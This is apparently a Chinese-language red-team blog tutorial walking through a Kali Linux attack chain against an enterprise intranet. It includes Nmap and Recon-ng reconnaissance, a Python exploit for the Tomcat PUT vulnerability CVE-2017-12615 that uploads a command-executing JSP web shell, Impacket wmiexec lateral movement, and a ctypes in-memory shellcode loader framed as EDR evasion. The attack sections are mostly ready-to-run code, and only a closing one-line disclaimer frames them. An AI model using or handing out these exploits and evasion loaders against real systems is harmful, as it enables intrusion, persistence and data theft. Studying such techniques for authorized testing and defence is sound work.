一、用攻击视角反推防御漏洞
在企业环境中,防御者通常习惯于构建层层防护的安全体系:防火墙规则、EDR监控、流量审计、漏洞扫描等。然而,攻击者的视角却完全不同,他们会寻找错综复杂的防御链中最薄弱的一环,利用它打开突破口。Kali Linux作为渗透测试领域的王牌工具,提供了丰富的攻击工具和框架,可以让攻击者逐步拆解目标防御。本文将以一个真实的企业内网为目标,展示如何利用Kali Linux完成完整的攻击链操作,从信息收集到最终的数据窃取。
---
二、信息收集的密码是耐心
攻击链的第一步永远是信息收集。这里我们并不急于直接使用漏洞扫描器,而是通过多渠道收集目标的关键信息:域名、IP地址、开放的端口、暴露的服务以及人员联系方式等。Kali Linux内置了众多信息收集工具,例如:Nmap、Recon-ng,以及OSINT工具包。以下是一个针对目标网络的信息收集实例:
工具选择与操作实例
1. 使用 Nmap 探测目标网络
Nmap 是渗透测试的必备工具之一,可用于端口扫描、服务识别和操作系统探测。我们假设目标是网段 192.168.1.0/24 的企业内网:
<pre><code class="language-bash">nmap -sS -p 1-65535 -T4 -A -v 192.168.1.0/24</code></pre>
参数解析:
-sS:TCP SYN 扫描,隐蔽性更强;-p 1-65535:扫描所有端口,避免遗漏;-A:启用服务检测、操作系统识别;-T4:调整扫描速度,避免被防火墙限制。

2. 利用 Recon-ng 进行外部信息收集
Recon-ng 是 Kali Linux中强大的 OSINT 框架,可以通过模块化方式挖掘目标信息。假设目标域名为 example.com:
<pre><code class="language-bash">recon-ng > workspaces create example > modules add recon/domains-hosts/bing_domain_web > set source example.com > run > show hosts</code></pre>
通过 Bing 搜索 API,我们可以发现与目标域名相关的外部子域和主机信息。
---
三、漏洞利用的深度剖析
信息收集之后,我们进入漏洞利用阶段。假设目标的某台主机运行了一个 Web 服务,并通过 Nmap 检测发现其存在一个 Apache Tomcat 的实例(版本 7.0.81)。结合漏洞库,发现这个版本可能存在远程代码执行漏洞。
POC实现:CVE-2017-12615
以下是针对 Apache Tomcat PUT 任意文件上传漏洞的攻击代码。我们将直接构造一个 JSP Web Shell 上传到目标服务器:

<pre><code class="language-python">import requests
目标地址
target_url = "http://192.168.1.100:8080/" upload_path = "uploads/shell.jsp"
构造 JSP Web Shell
web_shell = """ <% out.println("Web Shell connected!"); %> <% String cmd = request.getParameter("cmd"); Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream in = process.getInputStream(); java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A"); out.println(scanner.hasNext() ? scanner.next() : ""); %> """
文件上传逻辑
headers = {"Content-Type": "text/plain"} response = requests.put(target_url + upload_path, data=web_shell, headers=headers)
if response.status_code == 201: print("[+] Web Shell uploaded successfully!") print("[+] Access it at: " + target_url + upload_path) else: print("[-] Upload failed! Status Code:", response.status_code)</code></pre>
运行步骤:
- 将上述代码保存为
tomcat_put_exploit.py; - 修改目标地址和上传路径;
- 使用 Python 运行脚本即可上传 Web Shell。
此漏洞的核心是 Apache Tomcat 对 PUT 方法权限的错误配置,允许攻击者上传任意文件。
---
四、横向移动与权限维持
一旦获得目标服务器的初始权限,我们需要在内网中扩大攻击范围,寻找更多关键目标。假设当前权限为普通用户,我们可以利用 SMB 协议进行横向移动。
使用 Impacket 套件实现横向移动
Impacket 是 Kali Linux 中一款非常强大的工具包,包含多种协议的攻击模块。以下示例演示如何使用 wmiexec.py 模块在内网中横向执行命令:
<pre><code class="language-bash">python3 /usr/share/doc/python3-impacket/examples/wmiexec.py administrator:[email protected] "whoami"</code></pre>
如果目标机器返回结果,例如 nt authority\system,则说明命令执行成功。利用此工具,我们可以逐台横向扫描内网主机,进一步提升权限。
---
五、绕过EDR:免杀技术的细节优化

现如今大多数企业都部署了 EDR(终端检测与响应)系统,而我们需要绕过这些防御。常规的恶意载荷会被特征库轻松识别,因此需要加入免杀技术。以下是一段基于 Python 的免杀恶意载荷:
免杀脚本:内存加载恶意代码
<pre><code class="language-python">import ctypes
恶意代码:直接写入内存
shellcode = b"\x90\x90\x90..." # 替换为实际的 Shellcode
分配内存空间
ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x1000, 0x40)
写入 Shellcode
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
创建线程执行
ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None)
保持窗口不关闭
input("Press Enter to exit...")</code></pre>
解析:
- Shellcode 被直接加载到内存,绕过传统文件扫描;
- 使用系统 API 创建线程执行恶意代码;
- 通过动态分配空间避免被静态分析检测。
---
六、个人经验:如何提升攻击链完整性

作为一名渗透测试工程师,我的经验是:永远不要急于使用工具,先从目标的弱点入手分析其防御漏洞。 很多时候真正有效的攻击并不是来自工具,而是基于你的逻辑分析能力。例如:
- 针对特定防火墙规则设计流量免杀策略;
- 为每一个攻击阶段设置明确目标;
- 在绕过检测时,时刻关注最新的 EDR 对抗技术。
同时,保持敏锐的学习能力,随时更新武器库,才能在红队实战中保持优势。
---
本文仅供授权的安全测试使用,请勿用于非法用途。